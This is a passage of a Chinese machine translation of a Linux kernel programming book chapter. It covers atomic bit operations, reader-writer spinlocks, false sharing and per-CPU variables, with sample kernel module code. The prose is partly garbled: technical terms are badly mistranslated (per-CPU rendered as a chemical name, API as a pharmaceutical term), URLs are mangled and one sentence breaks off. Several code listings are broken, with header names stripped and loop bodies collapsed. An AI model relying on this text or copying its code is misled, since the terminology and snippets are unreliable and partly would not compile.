int nr, volatile unsigned long *p)` | 自动切换`p`的第`nr`位。 | -| *以下应用编程接口返回被操作位的前一个值(nr)* | | -| `int test_and_set_bit(unsigned int nr, volatile unsigned long *p)` | 自动设置`p`返回前一个值的第`nr`位(内核 API 文档位于[https://www . kernel . org/doc/html docs/kernel-API/API-测试和设置位. html](https://www.kernel.org/doc/htmldocs/kernel-api/API-test-and-set-bit.html) )。 | -| `int test_and_clear_bit(unsigned int nr, volatile unsigned long *p)` | 自动清除`p`的第`nr`位,返回前一个值。 | -| `int test_and_change_bit(unsigned int nr, volatile unsigned long *p)` | 自动切换`p`的第`nr`位,返回前一个值。 | - -Table 17.3 – Common RMW bitwise atomic APIs Careful: these atomic APIs are not just atomic with respect to the CPU core they're running upon, but now with respect to all/other cores. In practice, this implies that if you're performing atomic operations in parallel on multiple CPUs, that is, if they (can) race, then it's a critical section and you must protect it with a lock (typically a spinlock)! - -尝试一些 RMW 原子 API 将有助于建立你使用它们的信心;我们将在接下来的章节中介绍。 - -### 使用按位原子运算符–示例 - -让我们来看看一个快速内核模块,它演示了 Linux 内核的 RMW 原子位操作符(`ch13/1_rmw_atomic_bitops`)的用法。你应该意识到这些操作员可以在*任何内存*上工作,无论是(中央处理器或设备)寄存器还是内存;在这里,我们对示例 LKM 中的一个简单的静态全局变量(名为`mem`)进行操作。很简单;让我们来看看: - -```sh -// ch13/1_rmw_atomic_bitops/rmw_atomic_bitops.c -[ ... ] -#include -#include -#include -#include "../../convenient.h" -[ ... ] -static unsigned long mem; -static u64 t1, t2; -static int MSB = BITS_PER_BYTE - 1; -DEFINE_SPINLOCK(slock); -``` - -我们包括所需的头,并声明和初始化一些全局变量(注意我们的`MSB`变量如何使用`BIT_PER_BYTE`)。我们使用一个简单的宏`SHOW()`,用 printk 显示格式化的输出。`init`代码路径是实际工作完成的地方: - -```sh -[ ... ] -#define SHOW(n, p, msg) do { \ - pr_info("%2d:%27s: mem : %3ld = 0x%02lx\n", n, msg, p, p); \ -} while (0) -[ ... ] -static int __init atomic_rmw_bitops_init(void) -{ - int i = 1, ret; - - pr_info("%s: inserted\n", OURMODNAME); - SHOW(i++, mem, "at init"); - - setmsb_optimal(i++); - setmsb_suboptimal(i++); - - clear_bit(MSB, &mem); - SHOW(i++, mem, "clear_bit(7,&mem)"); - - change_bit(MSB, &mem); - SHOW(i++, mem, "change_bit(7,&mem)"); - - ret = test_and_set_bit(0, &mem); - SHOW(i++, mem, "test_and_set_bit(0,&mem)"); - pr_info(" ret = %d\n", ret); - - ret = test_and_clear_bit(0, &mem); - SHOW(i++, mem, "test_and_clear_bit(0,&mem)"); - pr_info(" ret (prev value of bit 0) = %d\n", ret); - - ret = test_and_change_bit(1, &mem); - SHOW(i++, mem, "test_and_change_bit(1,&mem)"); - pr_info(" ret (prev value of bit 1) = %d\n", ret); - - pr_info("%2d: test_bit(%d-0,&mem):\n", i, MSB); - for (i = MSB; i >= 0; i--) - pr_info(" bit %d (0x%02lx) : %s\n", i, BIT(i), test_bit(i, &mem)?"set":"cleared"); - - return 0; /* success */ -} -``` - -我们在这里使用的 RMW 原子操作符以粗体突出显示。这个演示的一个关键部分是展示使用 RMW 逐位原子操作符不仅比使用传统方法容易得多,而且也快得多,在传统方法中,我们在自旋锁的范围内手动执行 RMW 操作。以下是这两种方法的两个功能: - -```sh -/* Set the MSB; optimally, with the set_bit() RMW atomic API */ -static inline void setmsb_optimal(int i) -{ - t1 = ktime_get_real_ns(); - set_bit(MSB, &mem); - t2 = ktime_get_real_ns(); - SHOW(i, mem, "set_bit(7,&mem)"); - SHOW_DELTA(t2, t1); -} -/* Set the MSB; the traditional way, using a spinlock to protect the RMW - * critical section */ -static inline void setmsb_suboptimal(int i) -{ - u8 tmp; - - t1 = ktime_get_real_ns(); - spin_lock(&slock); - /* critical section: RMW : read, modify, write */ - tmp = mem; - tmp |= 0x80; // 0x80 = 1000 0000 binary - mem = tmp; - spin_unlock(&slock); - t2 = ktime_get_real_ns(); - - SHOW(i, mem, "set msb suboptimal: 7,&mem"); - SHOW_DELTA(t2, t1); -} -``` - -我们在`init`方法中很早就调用了这些函数;请注意,我们(通过`ktime_get_real_ns()`例程)获取时间戳,并通过我们的`SHOW_DELTA()`宏(在我们的`convenient.h`标题中定义)显示时间。好的,这是输出: - -![](img/5cc09eb6-4fc6-4857-9222-b4d1c51e833b.png) - -Figure 7.3 – Screenshot of output from our ch13/1_rmw_atomic_bitops LKM, showing off some of the atomic RMW operators at work - -(我在 x86_64 Ubuntu 20.04 来宾虚拟机上运行了这个演示 LKM。)现代方法——通过`set_bit()` RMW 原子逐位 API——在这个示例运行中,执行时间仅为 415 纳秒;传统方法要慢 265 倍!代码(通过`set_bit()`)也简单多了... - -关于原子按位运算符的一点相关说明,下面的部分非常简要地介绍了内核中用于搜索位掩码的高效 APIs 事实证明,这是内核中相当常见的操作。 - -## 高效搜索位掩码 - -有几种算法依赖于对位掩码进行真正快速的搜索;您在配套指南 *Linux 内核编程-* *第 10 章*、*CPU 调度器–第 1 部分*、*第 11 章*、*CPU 调度器–第 2 部分*中了解到的几种调度算法(如`SCHED_FIFO`和`SCHED_RR`)内部经常需要这样做。高效地实现这一点变得很重要(尤其是对于操作系统级的性能敏感代码路径)。因此,内核提供了一些 API 来扫描给定的位掩码(这些原型可以在`include/asm-generic/bitops/find.h`找到): - -* `unsigned long find_first_bit(const unsigned long *addr, unsigned long size)`:查找存储区域中的第一个设置位;返回第一个设置位的位数,否则(没有设置位)返回`@size`。 -* `unsigned long find_first_zero_bit(const unsigned long *addr, unsigned long size)`:查找存储区域中第一个被清除的位;返回第一个清除位的位数,否则(没有位被清除)返回`@size`。 -* 其他套路包括`find_next_bit()`、`find_next_and_bit()`、`find_last_bit()`。 - -浏览<`linux/bitops.h>`标题还会发现其他非常有趣的宏,例如`for_each_{clear,set}_bit{_from}()`。 - -# 使用读取器-写入器自旋锁 - -可视化一段内核(或驱动程序)代码,其中正在搜索一个大的、全局的、双向链接的循环列表(有几千个节点)。现在,由于数据结构是全局的(共享的和可写的),访问它构成了需要保护的关键部分。 - -假设搜索列表是一个非阻塞操作,您通常会使用自旋锁来保护关键部分。一个天真的方法可能会建议根本不使用锁,因为我们只是读取列表中的数据,而不是更新它。但是,当然(如您所知),即使是对共享可写数据的读取也必须受到保护,以防止无意中同时发生的写入,从而导致脏读或破读。 - -因此,我们得出结论,我们需要自旋锁;我们想象伪代码可能是这样的: - -```sh -spin_lock(mylist_lock); -for (p = &listhead; (p = next_node(p)) != &listhead; ) { - << ... search for something ... - found? break out ... >> -} -spin_unlock(mylist_lock); -``` - -那么,有什么问题吗?当然是表演!想象一下,多核系统上的几个线程或多或少地同时出现在这个代码片段上;每个线程都将尝试获取 spinlock,但只有一个 winner 线程会获得它,遍历整个列表,然后执行解锁,允许下一个线程继续。换句话说,不出所料,执行现在*连载*,大大减缓了事情的发展。但是没办法;或者可以? - -进入**读写器自旋锁**。使用这种锁定结构,要求所有对受保护数据执行读取的线程都需要一个**读锁**,而任何需要对列表进行写访问的线程都需要一个**独占写锁**。只要当前没有写锁在运行,任何发出请求的线程都会立即被授予读锁。实际上,这种构造*允许所有读者同时访问数据,这意味着实际上根本没有真正的锁定*。这个没问题,只要有读者就行。当一个写线程出现时,它会请求写锁。现在,正常的锁定语义适用:编写器**将不得不等待**所有读者解锁。一旦发生这种情况,写入程序将获得独占写锁并继续。所以现在,如果任何读者或作者试图访问,他们将被迫等待作家的解锁。 - -Thus, for those situations where the access pattern to data is such that reads are performed very often and writes are rare, and the critical section is a fairly long one, the reader-writer spinlock is a performance-enhancing one. - -## 读写器自旋锁接口 - -使用了自旋锁之后,使用读取器-写入器变体就变得简单了;锁数据类型抽象为`rwlock_t`结构(代替`spinlock_t`),在 API 名称方面,简单替换`read`或`write`代替`spin`: - -```sh -#include -rwlock_t mylist_lock; -``` - -读写器自旋锁最基本的 API 如下: - -```sh -void read_lock(rwlock_t *lock); -void write_lock(rwlock_t *lock); -``` - -举个例子,内核的`tty`层有代码来处理一个**安全注意键**(**SAK**);SAK 是一项安全功能,通过杀死与 TTY 设备相关的所有进程来防止特洛伊木马类型的凭据黑客攻击。这将在用户按下 SAK([https://www.kernel.org/doc/html/latest/security/sak.html](https://www.kernel.org/doc/html/latest/security/sak.html))时发生。当这种情况实际发生时(也就是说,当用户按下 SAK 时,默认映射到`Alt-SysRq-k`序列),在其代码路径内,它必须迭代所有任务,杀死整个会话和所有打开 TTY 设备的线程。要做到这一点,在阅读模式下,必须有一个叫做`tasklist_lock`的读者-作家自旋锁。(截断的)相关代码如下,突出显示`tasklist_lock`上的`read_[un]lock()`: - -```sh -// drivers/tty/tty_io.c -void __do_SAK(struct tty_struct *tty) -{ - [...] - read_lock(&tasklist_lock); - /* Kill the entire session */ - do_each_pid_task(session, PIDTYPE_SID, p) { - tty_notice(tty, "SAK: killed process %d (%s): by session\n", task_pid_nr(p), p->comm); - group_send_sig_info(SIGKILL, SEND_SIG_PRIV, p, PIDTYPE_SID); - } while_each_pid_task(session, PIDTYPE_SID, p); - [...] - /* Now kill any processes that happen to have the tty open */ - do_each_thread(g, p) { - [...] - } while_each_thread(g, p); - read_unlock(&tasklist_lock); -``` - -另外,在配套指南 *Linux 内核编程-第 6 章,内核内部要素*部分*进程和线程* *迭代任务列表*中,我们做了一些类似的事情:我们编写了一个内核模块([https://github . com/PacktPublishing/Linux-内核-编程/blob/master/ch6/foreach/thrd _ showall/thrd _ showall . c](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/ch6/foreach/thrd_showall/thrd_showall.c))迭代任务列表中的所有线程,喷涌那么,既然我们已经理解了关于并发性的交易,难道我们不应该使用这个锁–`tasklist_lock`–保护任务列表的读-写自旋锁吗?是的,但是没用(`insmod(8)`失败并显示消息`thrd_showall: Unknown symbol tasklist_lock (err -2)`)。原因当然是这个`tasklist_lock`变量是*而不是*导出的,因此对我们的内核模块不可用。 - -作为内核代码库中读写自旋锁的另一个例子,`ext4`文件系统在处理其范围状态树时使用了一个。我们不打算在这里深究细节;我们将简单地提到这样一个事实,读-写自旋锁(在索引节点结构中,`inode->i_es_lock`)在这里被大量使用,以保护扩展区状态树免受数据竞争的影响(`fs/ext4/extents_status.c`)。 - -内核源代码树中有很多这样的例子;网络堆栈中的许多地方包括 ping 代码(`net/ipv4/ping.c`)使用`rwlock_t`、路由表查找、邻居、PPP 代码、文件系统等等。 - -就像普通的自旋锁一样,我们有读写自旋锁 API 的典型变体:`{read,write}_lock_irq{save}()`与相应的`{read,write}_unlock_irq{restore}()`以及`{read,write}_{un}lock_bh()`接口配对。请注意,即使读取 IRQ 锁也会禁用内核抢占。 - -## 一句警告 - -读取器-写入器自旋锁确实存在问题。一个典型的问题是,不幸的是,**作者在封锁几个读者时会饿死**。想想看:假设目前有三个读者线程拥有读者-作者锁。现在,一个作家想要锁。它必须等到所有三个读取器执行解锁。但如果在此期间,有更多的读者出现(这是完全可能的)呢?这对作家来说是一场灾难,他现在不得不等待更长的时间——实际上是挨饿。(仔细检测或分析所涉及的代码路径可能是必要的,以弄清楚是否确实如此。) - -不仅如此,*缓存效应*——被称为缓存乒乓——在不同 CPU 内核上的多个读取器线程并行读取相同的共享状态时(同时持有读取器-写入器锁)可以而且确实经常发生;我们实际上在*缓存效果和虚假共享*部分讨论了这一点。关于自旋锁的内核文档(T4)说的也差不多。这里直接引用一下:“*注意!读写锁比简单的自旋锁需要更多的原子内存操作。除非读者批评部分很长,否则你最好用自旋锁关闭事实上,内核社区正在努力尽可能地移除读写自旋锁,将它们转移到更高级的无锁技术上(例如 **RCU -读取拷贝更新**,一种高级的无锁技术)。因此,无端使用读者-作者自旋锁是不明智的。* - -The neat and simple kernel documentation on the usage of spinlocks (written by Linus Torvalds himself), which is well worth reading, is available here: [https://www.kernel.org/doc/Documentation/locking/spinlocks.txt](https://www.kernel.org/doc/Documentation/locking/spinlocks.txt). - -## 读写器信号量 - -我们前面提到了信号量对象([第 6 章](6.html)、*内核同步–第 1 部分*,在*信号量和互斥量*部分),将其与互斥量进行了对比。在这里,您明白了简单地使用互斥体更好。在这里,我们指出,在内核中,正如存在读-写自旋锁一样,也存在*读-写信号量*。用例和语义类似于读写器 spinlock。相关宏/API 为(在`` ) `{down,up}_{read,write}_{trylock,killable}()`内。`struct mm_struct`结构中的一个常见例子(它本身也在任务结构中)是其中一个成员是读写器信号量:`struct rw_semaphore mmap_sem;`。 - -结束这个讨论,我们将只提到内核中的其他一些相关的同步机制。用户空间应用开发中大量使用的同步机制(我们特别想到了 Linux 用户空间中的 Pthreads 框架)是**条件变量** ( **CV** )。简而言之,它为两个或多个线程提供了基于数据项的值或某些特定状态相互同步的能力。它在 Linux 内核中的等价物叫做*完成机制*。请在[https://www . kernel . org/doc/html/latest/scheduler/completion . html # completes-等待完成-barrier-API](https://www.kernel.org/doc/html/latest/scheduler/completion.html#completions-wait-for-completion-barrier-apis)的内核文档中找到其用法的详细信息。 - -*序列锁*用于大部分写入情况(与读写自旋锁/信号量锁相反,后者适用于大部分读取情况),其中写入远远超过受保护变量的读取。可以想象,这并不是一件很常见的事情;使用序列锁的一个很好的例子是`jiffies_64`全局的更新。 - -For the curious, the `jiffies_64` global's update code begins here: `kernel/time/tick-sched.c:tick_do_update_jiffies64()`. This function figures out whether an update to jiffies is required, and if so, calls `do_timer(++ticks);` to actually update it. All the while, the `write_seq[un]lock(&jiffies_lock);` APIs provide protection over the mostly write-critical section. - -# 缓存效应和虚假共享 - -现代处理器利用其内部的多级并行高速缓存,以便在处理内存时提供非常显著的加速(我们在配套指南 *Linux 内核编程-* *第 8 章**模块作者的内核内存分配–第 1 部分**分配平板内存*一节中简要介绍了这一点)。我们意识到现代的 CPU 确实是*而不是*直接读写 RAM 不,当软件指示从某个地址开始读取一个字节的内存时,CPU 实际上读取了几个字节——从起始地址到所有 CPU 缓存(比如 L1、L2 和 L3:级别 1、2 和 3)的整个**缓存行**字节(通常为 64 字节)。这样,访问顺序内存的接下来几个元素会导致巨大的加速,因为它首先在缓存中被检查(首先在 L1,然后是 L2,然后是 L3,缓存命中变得可能)。它(快得多)的原因很简单:访问 CPU 缓存通常需要一到几(个位数)纳秒,而访问 RAM 可能需要 50 到 100 纳秒(当然,这取决于所讨论的硬件系统和您愿意支付的金额!). - -软件开发人员通过做以下事情来利用这种现象: - -* 将数据结构的重要成员放在一起(希望在单个缓存行内)并放在结构的顶部 -* 填充一个结构成员,这样我们就不会从缓存线上掉下来(同样,这些要点已经在配套指南 *Linux 内核编程-* *第 8 章*、*模块作者的内核内存分配–第 1 部分*、在*数据结构–一些设计技巧*部分中介绍过) - -然而,风险是存在的,事情确实会出错。例如,考虑两个这样声明的变量:`u16 ax = 1, bx = 2;` ( `u16`表示无符号的 16 位整数值)。 - -现在,由于它们已经被声明为彼此相邻,它们很可能会在运行时占用相同的 CPU 缓存行。为了了解问题所在,让我们举个例子:考虑一个具有两个 CPU 内核的多核系统,每个内核都有两个 CPU 缓存,L1 和 L2,以及一个通用或统一的 L3 缓存。现在,一个线程 *T1* 正在处理变量`ax`,另一个线程 *T2* 同时(在另一个中央处理器内核上)处理变量`bx`。所以,想想看:当运行在 CPU `0`上的线程 *T1* 从主内存(RAM)访问`ax`时,它的 CPU 缓存将被填充为`ax`和`bx`的当前值(因为它们属于同一个缓存行!).类似地,当运行在例如中央处理器`1`上的线程 *T2* 从内存访问`bx`时,其中央处理器缓存也将填充两个变量的当前值。*图 7.4* 概念性地描绘了这种情况: - -![](img/7eb6e6e6-512c-4d87-aed2-ca0f146ed57d.png) - -Figure 7.4 – Conceptual depiction of the CPU cache memory when threads T1 and T2 work in parallel on two adjacent variables, each on a distinct one - -目前还好;但是如果 *T1* 执行一个操作,比如说`ax ++`,同时 *T2* 执行`bx ++`呢?那又怎样?(顺便说一句,你可能会想:他们为什么不用锁?有趣的是,这与讨论完全无关;没有数据竞争,因为每个线程都在访问不同的变量。问题是它们在同一个中央处理器缓存行中。) - -问题是:**缓存一致性**。处理器和/或操作系统以及处理器(这都是非常依赖内存的东西)必须保持缓存和内存彼此同步或一致。因此,在 *T1* 修改`ax`的时刻,CPU `0`的特定高速缓存线将不得不被无效,也就是说,CPU 高速缓存线的 CPU `0`高速缓存到 RAM 刷新将发生,以将 RAM 更新到新值,然后立即,RAM 到 CPU `1`高速缓存更新也必须发生,以保持一切一致! - -但是缓存线也包含`bx`,并且,正如我们所说的,`bx`也被 *T2 在中央处理器`1`上修改了。*因此,大约在同一时间,中央处理器`1`高速缓存线将被刷新到具有新值`bx`的随机存取存储器,并随后被更新到中央处理器`0`的高速缓存(同时,统一的 L3 高速缓存也将被读取/更新)。可以想象,对这些变量的任何更新都会导致缓存和内存上的大量流量;它们会反弹。其实这就是常说的**缓存乒乓**!这种影响非常有害,会显著降低处理速度。这种现象被称为**虚假分享**。 - -识别虚假分享是最难的部分;我们必须寻找存在于共享缓存线上的变量,这些变量由不同的上下文(线程或其他任何东西)同时更新。 - -Interestingly, an earlier implementation of a key data structure in the memory management layer, `include/linux/mmzone.h:struct zone`, suffered from this very same false sharing issue: two spinlocks that were declared adjacent to each other! This has long been fixed (we briefly discussed *memory zones* in the companion guide *Linux Kernel Programming -* *Chapter 7*, *Memory Management Internals – Essentials*, in the *Physical RAM organization/zones* section). - -如何修复这种虚假分享?简单:只需确保变量之间的间隔足够远,以保证它们*不共享同一个缓存行*(为此,通常在变量之间插入虚拟填充字节)。请务必参考*进一步阅读*部分中对虚假分享的引用。 - -# 每 CPU 变量的无锁编程 - -如您所知,当对共享的可写数据进行操作时,必须以某种方式保护关键部分。锁定可能是实现这种保护最常用的技术。不过,这并不全是乐观的,因为业绩可能会受到影响。想知道为什么,考虑几个类似于锁的东西:一个是漏斗,漏斗的主干足够宽,一次只能让一根线穿过,不能再多了。另一种是繁忙高速公路上的单一收费站或繁忙十字路口的红绿灯。这些类比有助于我们可视化和理解为什么锁定会导致瓶颈,在某些极端情况下会降低性能。更糟糕的是,这些不利影响在拥有几百个内核的高端多核系统上可能会成倍增加;实际上,锁定不能很好地扩展。 - -另一个问题是*锁争用*;获取特定锁的频率是多少?增加系统中锁的数量有利于降低两个或多个进程(或线程)之间对特定锁的争用。这叫**锁定熟练度**。然而,同样,这在很大程度上是不可扩展的:过了一段时间,在一个系统上拥有数千个锁(实际上是 Linux 内核的情况)并不是一个好消息——出现微妙死锁情况的机会会大大增加。 - -因此,存在许多挑战——性能问题、死锁、优先级反转风险、卷积(由于锁排序,快速代码路径可能需要等待第一个较慢的路径,该路径获得了较快路径也需要的锁)等等。以可扩展的方式发展内核,一个完整的层次进一步要求使用*无锁算法*及其在内核中的实现。这些导致了几种创新技术,其中包括每 CPU(五氯苯酚)数据、无锁数据结构(根据设计)和 RCU。 - -然而,在这本书里,我们选择只详细介绍每 CPU 作为一种无锁编程技术。关于 RCU 的细节(及其相关的无锁数据结构)超出了本书的范围。请参考本章的*进一步阅读*部分,了解关于 RCU 的一些有用的资源,它的含义,以及它在 Linux 内核中的用法。 - -## 每 CPU 变量 - -顾名思义,**每 CPU 变量**的工作原理是保存*变量的副本*,即分配给系统上每个(活动的)CPU 的有问题的数据项。实际上,我们通过避免线程之间的数据共享,摆脱了并发的问题区域,即关键部分。使用每 CPU 数据技术,由于每个 CPU 都引用自己的数据副本,因此在该处理器上运行的线程可以操作它,而不用担心争用。(这大致类似于局部变量;由于局部变量位于每个线程的私有堆栈上,它们不会在线程之间共享,因此没有关键部分,也不需要锁定。)在这里,也消除了对锁定的需求——使其成为*无锁定*技术! - -所以,想想看:如果你运行在一个有四个活动的中央处理器内核的系统上,那么该系统上的每个中央处理器变量本质上是一个由四个元素组成的数组:元素`0`代表第一个中央处理器内核上的数据值,元素`1`代表第二个中央处理器内核上的数据值,依此类推。了解了这一点,您会意识到每 CPU 变量也大致类似于用户空间 Pthreads **线程本地存储** ( **TLS** )实现,其中每个线程自动获得一个标有`__thread`关键字的(TLS)变量的副本。在这里,对于每个 CPU 的变量,应该很明显:只对小数据项使用每个 CPU 的变量。这是因为每个中央处理器内核用一个实例来再现(复制)数据项(在具有几百个内核的高端系统上,开销确实会攀升)。我们在内核代码库中提到了一些每 CPU 使用的例子(在内核中的*每 CPU 使用部分)。* - -现在,当使用每 CPU 变量时,您必须使用内核提供的助手方法(宏和 API),并且不要试图直接访问它们(很像我们在 refcount 和 atomic 操作符中看到的)。 - -### 使用每个中央处理器 - -让我们通过将讨论分成两部分来接近每 CPU 数据的助手 API 和宏(方法)。首先,您将学习如何分配、初始化以及随后释放每个 CPU 的数据项。然后,你将学习如何使用它(读/写)。 - -#### 分配、初始化和释放每 CPU 变量 - -每个 CPU 的变量大致有两种类型:静态分配的和动态分配的。静态分配的每 CPU 变量是在编译时分配的,通常是通过以下宏之一:`DEFINE_PER_CPU`或`DECLARE_PER_CPU`。使用`DEFINE`可以分配和初始化变量。下面是一个分配单个整数作为每个 CPU 变量的例子: - -```sh -#include -DEFINE_PER_CPU(int, pcpa); // signature: DEFINE_PER_CPU(type, name) -``` - -现在,在一个有四个 CPU 内核的系统上,它在初始化时在概念上是这样的: - -![](img/eaad779b-7052-464c-8e37-a11bac841004.png) - -Figure 7.5 – Conceptual representation of a per-CPU data item on a system with four live CPUs - -(实际实现当然比这个复杂不少;有关内部实现的更多信息,请参考本章*进一步阅读*部分。) - -简而言之,在对时间敏感的代码路径上使用每 CPU 变量有利于性能增强,原因如下: - -* 我们避免使用昂贵的、破坏性能的锁。 -* 每 CPU 变量的访问和操作保证保留在一个特定的 CPU 内核上;这消除了昂贵的缓存效果,如缓存乒乓和错误共享(在*缓存效果和错误共享*部分中介绍)。 - -通过`alloc_percpu()`或`alloc_percpu_gfp()`包装宏可以实现动态分配每个 CPU 的数据,只需将对象的数据类型作为每个 CPU 进行分配,对于后者,还可以传递`gfp`分配标志: - -```sh -alloc_percpu[_gfp](type [,gfp]); -``` - -底层的`__alloc_per_cpu[_gfp]()`例程通过`EXPORT_SYMBOL_GPL()`导出(因此只有当 LKM 在兼容 GPL 的许可下发布时才能使用)。 - -As you've learned, the resource-managed `devm_*()` API variants allow you (typically when writing drivers) to conveniently use these routines to allocate memory; the kernel will take care of freeing it, helping prevent leakage scenarios. The `devm_alloc_percpu(dev, type)` macro allows you to use this as a resource-managed version of `__alloc_percpu()`. - -通过前面的例程分配的内存必须随后使用`void free_percpu(void __percpu *__pdata)`应用编程接口释放。 - -#### 对每 CPU 变量执行输入/输出(读和写) - -当然,一个关键的问题是,如何才能访问(读取)和更新(写入)每个 CPU 的变量?内核为此提供了几个助手例程;让我们举一个简单的例子来理解。我们为每个 CPU 定义一个整数变量,在稍后的时间点,我们希望访问并打印它的当前值。您应该意识到,在每个 CPU 上,检索到的值将根据代码当前在上运行的 CPU 内核自动计算*;换句话说,如果下面的代码在内核`1`上运行,那么实际上`pcpa[1]`值被获取(它不是这样做的;这只是概念上的):* - -```sh -DEFINE_PER_CPU(int, pcpa); -int val; -[ ... ] -val = get_cpu_var(pcpa); -pr_info("cpu0: pcpa = %+d\n", val); -put_cpu_var(pcpa); -``` - -这对`{get,put}_cpu_var()`宏允许我们安全地检索或修改给定的每 CPU 变量(其参数)的每 CPU 值。重要的是要理解`get_cpu_var()`和`put_cpu_var()`之间的代码(或等效代码)实际上是一个关键部分—一个原子上下文—*,其中内核抢占被禁用,任何类型的阻塞(或休眠)都不被允许*。如果你在这里做任何以任何方式阻塞(休眠)的事情,那就是一个内核错误。例如,看看如果您试图通过`get_cpu_var()` / `put_cpu_var()`宏对中的`vmalloc()`分配内存会发生什么: - -```sh -void *p; -val = get_cpu_var(pcpa); -p = vmalloc(20000); -pr_info("cpu1: pcpa = %+d\n", val); -put_cpu_var(pcpa); -vfree(p); -[ ... ] - -$ sudo insmod .ko -$ dmesg -[ ... ] -BUG: sleeping function called from invalid context at mm/slab.h:421 -[67641.443225] in_atomic(): 1, irqs_disabled(): 0, pid: 12085, name: -thrd_1/1 -[ ... ] -$ -``` - -(顺便说一下,像我们在临界区中做的那样调用`printk()`(或`pr_()`)包装器是可以的,因为它们是非阻塞的。)这里的问题是`vmalloc()`原料药可能是阻断药;它可能会休眠(我们在配套指南 *Linux 内核编程-* *第 9 章*、*模块作者的内核内存分配–第 2 部分*、*理解和使用内核 vmalloc() API* 一节中详细讨论过),并且`get_cpu_var()` / `put_cpu_var()`对之间的代码必须是原子的和非阻塞的。 - -在内部,`get_cpu_var()`宏调用`preempt_disable()`,禁用内核抢占,`put_cpu_var()`通过调用`preempt_enable()`撤销这一操作。如前所述(在配套指南 *Linux 内核编程*关于*中央处理器调度*的章节中),这可以嵌套,内核维护一个`preempt_count`变量来计算内核抢占实际上是被启用还是被禁用。 - -这一切的结果就是,你在使用`{get,put}_cpu_var()`宏的时候一定要仔细匹配(比如我们调用`get`宏两次,也一定要调用对应的`put`宏两次)。 - -`get_cpu_var()`是*左值*,因此可以操作;例如,要增加每 CPU `pcpa`变量,只需执行以下操作: - -```sh -get_cpu_var(pcpa) ++; -put_cpu_var(pcpa); -``` - -您还可以(安全地)通过宏检索当前的每 CPU 值: - -```sh -per_cpu(var, cpu); -``` - -因此,要检索系统上每个 CPU 核心的每 CPU `pcpa`变量,请使用以下命令: - -```sh -for_each_online_cpu(i) { - val = per_cpu(pcpa, i); - pr_info(" cpu %2d: pcpa = %+d\n", i, val); -} -``` - -FYI, you can always use the `smp_processor_id()` macro to figure out which CPU core you're currently running upon; in fact, this is precisely how our `convenient.h:PRINT_CTX()` macro does it. - -以类似的方式,内核提供例程来处理指向需要每个 CPU 的变量的指针,`{get,put}_cpu_ptr()`和`per_cpu_ptr()`宏。这些宏在处理每 CPU 数据结构时被大量使用(与简单的整数相反);我们安全地检索指向我们当前运行的 CPU 结构的指针,并使用它(`per_cpu_ptr()`)。 - -### 每个中央处理器——一个示例内核模块 - -使用我们的每 CPU 示例演示内核模块的实践会话肯定会有助于使用这个强大的功能(这里的代码:`ch13/2_percpu`)。这里,我们定义并使用两个每 CPU 变量: - -* 每 CPU 静态分配和初始化的整数 -* 动态分配的每 CPU 数据结构 - -作为帮助演示每 CPU 变量的一种有趣的方式,让我们这样做:我们将安排我们的演示内核模块产生几个内核线程。我们称之为`thrd_0`和`thrd_1`。此外,一旦创建,我们将使用 CPU 掩码(和 API)来仿射 CPU `0`上的`thrd_0`内核线程和 CPU `1`上的`thrd_1`内核线程(因此,它们将被调度为仅在这些内核上运行;当然,我们必须在至少有两个 CPU 内核的 VM 上测试这段代码)。 - -下面的代码片段说明了我们如何定义和使用每 CPU 变量(我们省略了创建内核线程并设置其 CPU 相似性掩码的代码,因为它们与本章的内容无关;尽管如此,浏览完整的代码并尝试它还是很关键的!): - -```sh -// ch13/2_percpu/percpu_var.c -[ ... ] -/*--- The per-cpu variables, an integer 'pcpa' and a data structure --- */ -/* This per-cpu integer 'pcpa' is statically allocated and initialized to 0 */ -DEFINE_PER_CPU(int, pcpa); - -/* This per-cpu structure will be dynamically allocated via alloc_percpu() */ -static struct drv_ctx { - int tx, rx; /* here, as a demo, we just use these two members, - ignoring the rest */ - [ ... ] -} *pcp_ctx; -[ ... ] - -static int __init init_percpu_var(void) -{ - [ ... ] - /* Dynamically allocate the per-cpu structures */ - ret = -ENOMEM; - pcp_ctx = (struct drv_ctx __percpu *) alloc_percpu(struct drv_ctx); - if (!pcp_ctx) { - [ ... ] -} -``` - -为什么不用资源管理的`devm_alloc_percpu()`代替呢?是的,你应该在适当的时候;然而,在这里,由于我们没有编写一个合适的驱动程序,我们手边没有一个`struct device *dev`指针,这是`devm_alloc_percpu()`必需的第一个参数。 - -By the way, I faced an issue when coding this kernel module; to set the CPU mask (to change the CPU affinity for each of our kernel threads), the kernel API is the `sched_setaffinity()` function, which, unfortunately for us, is *not exported*, thus preventing us from using it. So, we perform what is definitely considered a hack: obtain the address of the uncooperative function via `kallsyms_lookup_name()` (which works when `CONFIG_KALLSYMS` is defined) and then invoke it as a function pointer. It works, but is most certainly not the right way to code. - -我们的设计思想是创建两个内核线程,并让每个线程以不同的方式操作每个 CPU 的数据变量。如果这些是普通的全局变量,这肯定会构成一个关键部分,我们当然需要一个锁;但是在这里,正是因为它们是每 CPU*,并且因为我们保证我们的线程在不同的内核上运行,我们可以用不同的数据同时更新它们!我们的内核线程工作程序如下;它的参数是线程号(`0`或`1`)。我们相应地分支并处理每个 CPU 的数据(我们的第一个内核线程将整数增加三倍,而我们的第二个内核线程将其减少三倍):* - -```sh -/* Our kernel thread worker routine */ -static int thrd_work(void *arg) -{ - int i, val; - long thrd = (long)arg; - struct drv_ctx *ctx; - [ ... ] - - /* Set CPU affinity mask to 'thrd', which is either 0 or 1 */ - if (set_cpuaffinity(thrd) < 0) { - [ ... ] - SHOW_CPU_CTX(); - - if (thrd == 0) { /* our kthread #0 runs on CPU 0 */ - for (i=0; itx += 100; - pr_info(" thrd_0/cpu0: pcp ctx: tx = %5d, rx = %5d\n", - ctx->tx, ctx->rx); - put_cpu_ptr(pcp_ctx); - } - } else if (thrd == 1) { /* our kthread #1 runs on CPU 1 */ - for (i=0; irx += 200; - pr_info(" thrd_1/cpu1: pcp ctx: tx = %5d, rx = %5d\n", - ctx->tx, ctx->rx); put_cpu_ptr(pcp_ctx); }} - disp_vars(); - pr_info("Our kernel thread #%ld exiting now...\n", thrd); - return 0; -} -``` - -运行时的效果很有趣;请参见以下内核日志: - -![](img/0d0e4a40-1aa3-497e-b350-ea9980367d31.png) - -Figure 7.6 – Screenshot showing the kernel log when our ch13/2_percpu/percpu_var LKM runs - -在*图 7.6* 的最后三行输出中,可以看到我们的每 CPU 数据变量在 CPU `0`和 CPU `1`上的值的汇总(我们通过`disp_vars()`函数显示)。很明显,对于每 